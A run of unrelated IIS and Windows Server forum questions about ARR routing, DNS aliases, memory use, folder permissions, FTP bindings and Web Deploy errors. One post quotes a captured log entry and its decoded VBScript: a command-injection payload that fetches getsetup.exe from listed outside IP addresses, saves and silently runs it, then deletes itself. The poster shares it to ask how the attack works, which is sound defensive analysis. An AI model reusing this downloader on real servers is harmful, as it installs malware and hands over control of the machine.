Hi,

Firstly, I apologise now for two reasons: 1) I'm not 100% sure what I need to use in order to achieve what I want to.

& 2) Because of this, the title, and location of this post may be totally wrong (Hell, I might even be in the wrong forum).

Anyway - this is purely for personal use, so it's not imperative that I get this sorted, but it would be nice.

Basically - I have my home server setup with DNS running, and I can see it using the A record "jupiter.local" and that's all fine.

However, I also have two other services running: uTorrent & Plex, which I can access using the above, and appending the appropriate port numbers and such. But it's kind of annoying having to type out ":8080/gui" & ":32400/web/index.html" everytime.

So I thought, having DNS & IIS running - Is there a way I can set something up that will let me use "plex.jupiter.local" or "jupiter.local/plex" instead of typing long urls all the time? 

I have tried messing with all sorts of DNS records and I can't quite figure it out. 

Thankyou :)

Dear Gurus,

I have Windows 2008 R2 64 Bit.

Running three IIS directories.

Total Memory is 16 GB.
01 IIS is taking 1.4 GB Memory
02 IIS is taking 2.4 GB Memory
03 IIS is taking 400 MB  Memory

Over all Memory CONSUMPTION is 13.5 GB.

My query is IIS is taking around (4.5 GB Approx) where the rest of the Memory is going.

Please see screenshot.

Thanks

Malik Adeel Imtiaz

I've just upgraded in-Place a 2008 R2 IIS server to 2012 R2, and after the Upgrade, the upgraded server has some issues With IIS.

The website will not start, and I get these errors:

first trying to start IIS from the management console:

Cannot start service W3SVC on computer '.'.

Then I try to start the site, and I get this error Message:

Websites cannot be started unless both the Windows Activation Service (WAS) and the World Wide Web Publishing Service (W3SVC) are running, Both services are currently stopped

When i browse to these two in Services.msc and try a manual start, I get these errors:

On the WAS service: Windows could not start the Windows Process Activation Service service on Local Computer. Error 50: The request is not supported

On the World Wide Web Publishing Service: Windows could not start the World Wide Web Publishing Service service on Local Computer. Error 1068: The dependency service or Group failed to start

In the System eventlog i get these error events:

5211: The Windows Process Activation Service (WAS) started with 'Classic' mode using 'ConfigurationSystem'

5172: The Windows Process Activation Service encountered an error trying to read configuration data from file '\\?\C:\Windows\system32\inetsrv\config\applicationHost.config', line number '941'.  The error message is: 'The configuration section 'system.web' cannot be read because it is missing a section declaration'.  The data field contains the error number.

5036: The configuration manager for Windows Process Activation Service (WAS) did not initialize. The data field contains the error number.

5005: Windows Process Activation Service (WAS) is stopping because it encountered an error. The data field contains the error number.

I replaced the applicationHost.config file in the C:\Windows\System32\inetsrv\configwith the old one from C:\Windows.old\WINDOWS\System32\inetsrv\config, but this did not help.

What should I do next?

Does anyone know this restriction control only limit on download or both upload and download?

Hi All,

We have our API site written on ASP.NET + MVC and deployed on IIS 7.5 (2008 R2) - working fine!

We have bought 2 new servers (Physical, 24 Threads each, lots of memory, very powerful) and we wanted to migrate those sites to them (They have Server 2012 R2).

While the 2 old servers have around %10 CPU usage at most, when adding the new servers to the pool they reach %100 CPU constantly.

We know that we have a problem in the code that often responds with 404 or 500 and we are working on fixing it - But I still need to know why it's happening on IIS 8.5 and not on IIS 7.5 as it's a very problematic issue.

Any ideas? I've tried it all.

Both servers are installed using default settings, no custom error pages, occours even with 1 worker, affinity limitations, etc.

And I don't have any cpu limitations nor I want to configure - I just want him to behave normally..

Thanks ahead!

I have a pretty common (I think) scenario.

I successfully got ARR redirecting requests for OWA via SSL. I had to install the UCC certificate on the IIS server and I set the bindings on Default Web Site for port 443 to the UCC cert. I had to setup ARR with a separate server farm for the Exchange server.

I have a website up and running on another internal server, and I have ARR setup to correctly route port 80 to it.
Now I need to have it SSL enabled. 

What are the steps?
Do I need to create another website in IIS on the ARR server? If so, what about ARR?
Or do I have to have the website use another port for SSL and then just setup another binding in IIS on the ARR server?

Email de projects virtual

Hi All: I'm hosting a website on IIS7 that uses a PHP-based CMS (hand built).

The system allows the creation of "projects" which creates a series of folders in the web root. For example if you created a project called "test" PHP would create the following folders in the website:

mysite.com/projects/test/photos

mysite.com/projects/test/mp3

etc.

The CMS then allows the site admin to upload content to those directories using php-upload.

What is happening is either folder or the uploaded files are not inheriting the permissions to allow anonymous access to the content. I thought it was the usual problem of files being uploaded to PHP's temp directory then moved to the target folder not inheriting the target folders permissions. 

I followed various threads about creating a static uploads folder and giving IIS_IUSRs read/execute permissions on it, but I was still getting errors trying to anonymously browse the files in the destination folder. I carefully compared the individual file permissions (using the security tab in the properties window) with files that could be browsed, and they were exactly the same.

I had a semi- "A hah" moment when I copied one of the files to the root of the website, and it was browseable, but I realized that copying it to the root might be altering the permissions.

I also compared the folder permissions in the chain of created folders to see if there was anything there, but the folders have the same permissions elsewhere in the site root.

I can brute-force fix the problem by clicking  "advanced" under the security tab of the folder, then clicking on the IIS_IUSRS, and checking the "replace all child object permissions with inheritable permissions from this object".

So, I still don't know if it's the uploaded file permissions, or the enclosing folder's permisssions that are the problem.

How can I determine exactly which permissions are the problem?

What does sc-bytes represent ? every single discussion and blog about sc-bytes states that its represents bytes from server to client.

Want to know whether sc-bytes represents total response bytes, for eg,. when we access any URL , does it include the bytes for css,js etc ?

hi and thank you in advance for taking the time to look at the problem.

here's what we want to do. we would like to present 1 web server to the Internet as the ARR server and have it route all web traffic. the website (domain) ishttp://public.domain.com.  we only want one domain name and everything after that will be virtual directories that can be reached like:

http://public.domain.com/personnel (IIS server1)

http://public.domain.com/payments (IIS server2)

here's the problem we're facing. each section like "personnel" and "payments" are different sections and have their own web servers. Of course each section has more virtual directories but just using these as an example. each web server can be reached internally by it's physical actual address of: 

http://server1/personnel

and

http://server2/payments

so in comes IIS ARR setup. We installed and setup ARR with proxy. created one web farm called public and added both server1 and server2 into the webfarm. thinking that's how ARR works and tested it by typing in

http://public.domain.com/personnel worked but tryinghttp://public.domain.com/payments did not work giving an error of "404 - File or directory not found." it looks as tho the ARR routes to only one server within the server farm and cannot see the secondary server's virtual directories.

to test this we put only server1 into the farm and typing in http://public.domain.com/personnel worked fine but http://public.domain.com/payments did not.

next test remove server1 from the farm and only have server2. typed in http://public.domain.com/personnel did not work but http://public.domain.com/payments worked fine.

you would think if I added both server1 and server2 into a single webfarm that ARR would see all virtual directories in the webfarm and route accordingly. am I missing something?

if ARR cannot do this, what server or software can take two separate webservers with it's on different virtual directories and display as one website domain? for clarification is there a way I can setup 3 separate webservers. each webserver (server1 and server2) host it's own virtual directories but be routed into on web domain? like:

http://server1/personnel

http://server2/payments

and convert them to, with ARR:

http://public.domain.com/personnel

http://public.domain.com/payments

HI,

I have moved classic ASP from IIS 6 to IIS 7.5 on windows 2008 R2 to run, and study that now IIS 7.5 uses AppPoolIdentity to control access to folder resources, however, I follow steps on create an AppPool, let's says named ClassicASP, and then add "write permission" to folder D:\doc with "IIS AppPool\ClassASP". THe ASP works fine and can write to this folder.

But surprisingly, I remove "write permission" of "IIS AppPool\ClassASP" from the folder, the ASP can still write to this folder.

Finally I remove permissions such that only "System" and "Administrators" have left to write to this folder, the ASP can still

write to the folder.

I really have no idea what is going on. Is the "w3wp.exe" running as System account ?

I use process exploer to check and seems not possible to have "system" privileages on w3wp.exe

Does any professional get me out of this question?

Thanks in advance,

Ray

I want to ask help to solve my problem. Since a couple of days I try to resolve this problem but I can't...

I have a Windows Server 2008 R2 System and I am using Internet Information Services 7.5. The Servermachine has 4 IP adresses.

I am using other FTP programs not only the IIS FTP Service.

The IIS FTP service has been binded the all available IP adresses on port 21. This is my Problem!

I can't change it however I tried many ways to fix it.

If I try to create a new FTP Site the "netstat -an | findstr ":21.*:[^:]*$" shows me that svchost uses 0.0.0.0:21

(Naturally if I am creating a new FTP site I alway set the binding adress to 62.75.130.240 but  it doesn't matter...all IP adresses will be assigned to this service.

But I only want to use a specific IP adress to run my FTP Site in IIS 7.5. How can I do it?

How can I prevent to assing all available IP adresses?

I found many solutions but only for Windows Server 2003 (disable socket pooling?)

This is not reachable in IIS 7.5.

Please let me know how can I use only a specific IP adress to run my FTP Server in IIS. I want the other IP adresses let free for other Sevices.

Regards

Peter Laszlo

Hi All,

I have WSE 2012 R2 with Anywhere Access setup and Exchange integrated through ARR 2.5.

I also have a SharePoint 2013 server which I want to route through the ARR but I can't get it to route properly, all I get is a 502 error.

I am using Windows Authentication (NTLM) and i'm not using SSL at present as I can't get that t work either.

When I try to access sharepoint.domain.com I get a login popup, so I enter the correct credentials but then get the 502 error.

The SSL I would be using for SharePoint is a single domain one that is already added in IIS on both the SharePoint and WSE servers.

The WSE server is also the ARR server.

How can I get the SharePoint to route properly, and with SSL as my users will be using the SharePoint, Exchange and RWA.

Hi,

I caught this one in a pre-production server's logs.  Seems it is trying to get the root document, and trying to force your server to run various setup.exe programs from a host of sites (assuming your root document processes the search variable).  Our site does not, as it is the default IIS 7.5 document (the "Welcome to IIS 7" page).  The exploit is coming out of China (suprise suprise...).

I replaced the public IP of our server with x's to conceal its actual IP ;-)

In the server logs, I found:

2014-09-22 20:58:50 xxx.xxx.xx.xx GET / search==%00{.exec|cmd.exe+%2Fc+echo%3E22222.vbs+dim+wait%2Cquit%2Cout%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet+WshShell+%3D+Wscript.CreateObject%28%22WScript.Shell%22%29+%3ADS%3DArray%28%22123.108.109.100%22%2C%22123.108.109.100%3A53%22%2C%22123.108.109.100%3A443%22%2C%22178.33.196.164%22%2C%22178.33.196.164%3A53%22%2C%22178.33.196.164%3A443%22%29%3Afor+each+Url+in+DS%3Await%3Dtrue%3Aquit%3Dfalse%3AD%28Url%29%3Aif+quit+then%3Aexit+for%3Aend+if%3Anext%3ASub+D%28Url%29%3Aif+IsObject%28xml%29%3Dfalse+then%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3Aend+if+%3Axml.Open+%22GET%22%2C%22http%3A%2F%2F%22%5E%26Url%5E%26%22%2Fgetsetup.exe%22%2CTrue%3Axml.OnReadyStateChange%3DGetRef%28%22xmlstat%22%29%3Aout%3DNow%3Axml.Send%28%29%3Awhile%28wait+and+60%5E%3Eabs%28datediff%28%22s%22%2CNow%2Cout%29%29%29%3Awscript.sleep%281000%29%3Awend%3AEnd+Sub%3Asub+xmlstat%28%29%3AIf+xml.ReadyState%5E%3C%5E%3E4+Then%3Aexit+sub%3Aend+if%3Await%3Dfalse%3Aif+xml.status%5E%3C%5E%3E200+then%3Aexit+sub%3Aend+if%3Aquit%3Dtrue%3Aon+error+resume+next%3Aset+sGet%3DCreateObject%28%22ADODB.Stream%22%29%3AsGet.Mode%3D3%3AsGet.Type%3D1%3AsGet.Open%28%29%3AsGet.Write+xml.ResponseBody%3AsGet.SaveToFile+%22ko.exe%22%2C2%3AEnd+sub%3AWshShell.run+%22ko.exe%22%2C0%2C0%3ASet+fso+%3DCreateObject%28%22Scripting.Filesystemobject%22%29+%3Afso.DeleteFile%28WScript.ScriptFullName%29+%26+cscript+22222.vbs.} 80 - 122.228.207.244 - 200 0 0 421

Decoding the URI request string for the search== yields the following vbscript:

 exec cmd.exe /c echo>22222.vbs
 dim wait,quit,out
 Set xml=CreateObject("Microsoft.XMLHTTP")
 Set WshShell = Wscript.CreateObject("WScript.Shell")
  DS=Array("123.108.109.100","123.108.109.100:53","123.108.109.100:443","178.33.196.164","178.33.196.164:53","178.33.196.164:443"
  for each Url in DS
   wait=true
   quit=false
   D(Url)
   if quit then
    exit
     for
    end if
   next

 Sub D(Url)
  if IsObject(xml)=false then
    Set xml=CreateObject("Microsoft.XMLHTTP")
   end if
 xml.Open "GET","http://"&Url&"/getsetup.exe",True
 xml.OnReadyStateChange=GetRef("xmlstat")
 out=Now
 xml.Send()
 while(wait and 60^>abs(datediff("s",Now,out)))
   wscript.sleep(1000)
   wend
 End Sub
 
 sub xmlstat()
  If xml.ReadyState <>4 Then
   exit sub
  end if
  wait=false
  if xml.status<>200 then
    exit sub
  end if
  quit=true
  on error resume next
  set sGet=CreateObject("ADODB.Stream")
  sGet.Mode=3
  sGet.Type=1
  sGet.Open()
  sGet.Write xml.ResponseBody
  sGet.SaveToFile "ko.exe",2
 End sub

WshShell.run "ko.exe",0,0
Set fso =CreateObject("Scripting.Filesystemobject")
fso.DeleteFile(WScript.ScriptFullName) & cscript 22222.vbs

I'm guessing that this doesn't run unless your root page is a) dynamic, and b) has a search variable (and presumably, some sort of vulnerability?)?

Hi,

I have been able to publish both projects and individual files from vs2012 for years from my current machine to a remote IIS 7.5.

Today I can right click and publish files successfully, but publishing the parent project using the Publish Web results in this errror:

Error 9 Web deployment task failed. (Could not connect to the remote computer ("111.111.11.11") using the specified process ("Web Management Service") because the server did not respond. Make sure that the process ("Web Management Service") is started on the remote computer. Learn more at: http://go.microsoft.com/fwlink/?LinkId=221672#ERROR_COULD_NOT_CONNECT_TO_REMOTESVC.)
0 0 Support

I can run Publish Web > Connection > Validate Connection successfully, and I like said, I can right click and publish individual files just fine.

Note that I have removed my real IP from the error above.

To clarify, in Publish Web > Connection > Publish method, I am choosing Web Deploy. And like I said it validates the connection just fine.

On the remote machine I have restarted the WMS and WDAS services.

I tried opening localhost:8172/msdeploy.axd on the remote machine. It asks to proceed for untrusted connection, and on proceeding, it show the popup authentication dialog for Web Management Service. I entered credentials, submit, and then a 404 is returned for:

https://localhost:8172/msdeploy.axd

The server is Windows Server 2008 R2 / IIS 7.5 and the Web Deployment Agent Service is v 3.0.

How can I troubleshoot this? Thanks!

Hello all,

I am a systems admin working with SCCM and have setup my application catalog which runs IIS. I have the following site: 

https://companyserver.company.com/cmapplicationcatalog 

I would like to get that down to something much more simple like https://Companysoftware.com or https://companysoftware/getsoftware

Can anyone help me? I have followed some instructions here:

http://blogs.technet.com/b/mspfe/archive/2013/11/27/how-to-create-a-url-alias-using-iis-url-rewrite.aspx

Unfortunately, I can't redirect all traffic as there are other sites in IIS that config manager relies on to communicate so its only for the /cmapplicationcatalog site. 

Again, total noob so i may need step by step if possible.

Also, this site relies on an HTTPS cert in order to gain access so I'm not sure how that will play into this. 

Thanks in advance.

We just installed windows server 2012 and IIS 8.5.
Every thing was OK, but from 3 days ago we have a problem with PNG files, our web sites can't display PNG file if they were in some nested folders.

e.g:
if a SomeImage.png file is in website root, we can see it in browser, but if we move it in a path likeroot > folder1 > folder2 > folder3 browser can't display it and just icon will display.

We could resolve this problem with changing Identity of Application pool from ApplicationPoolIdentity to LocalSystem. but as I read LocalSystem can be a security risk.

How can we resolve this problem ?

P.S:
When the site's application pool was ApplicationPoolIdentity, IUSR and IIS_IUSR and NetworkService and the Website's Application Pool has FullControl on site.

Hi all,

I am wanting to create a self signed SAN cert. I am using the MMC snap-in to add the Certificates snap-in to create a custom request. However on the Private Key type, I don't see the option to select Key Type is Exchange.

This is the article I am following: http://blogs.msdn.com/b/andrekl/archive/2008/09/24/how-to-generate-a-csr-for-an-iis-website-using-the-windows-vista-server-2008-certificates-mmc-plugin.aspx

Anybody know why?

Hi, 

I have the below code working great IF my xml file is on my server, but i don't know how to alter the code to make it work for a REMOTE xml file at a URL.  Please help!

<% 
Option Explicit 
Response.Buffer = True 
Dim xml 
Set xml = Server.CreateObject("Microsoft.XMLDOM") 
xml.async = False 
xml.load (Server.MapPath("https://answers.yahoo.com/rss/allq"))

Dim name, phone, address 
title = xml.documentElement.childNodes(0).text 
link = xml.documentElement.childNodes(1).text 
description = xml.documentElement.childNodes(2).text

Set xml = Nothing 
%> <html> <head> <title>Example 1</title> </head> <body> <table> <tr><th>Name</th><th>Phone</th><th>Address</th></tr> <tr><td><% =title %></td><td><% =link %></td><td><% =description %></td></tr> </table> </body> </html>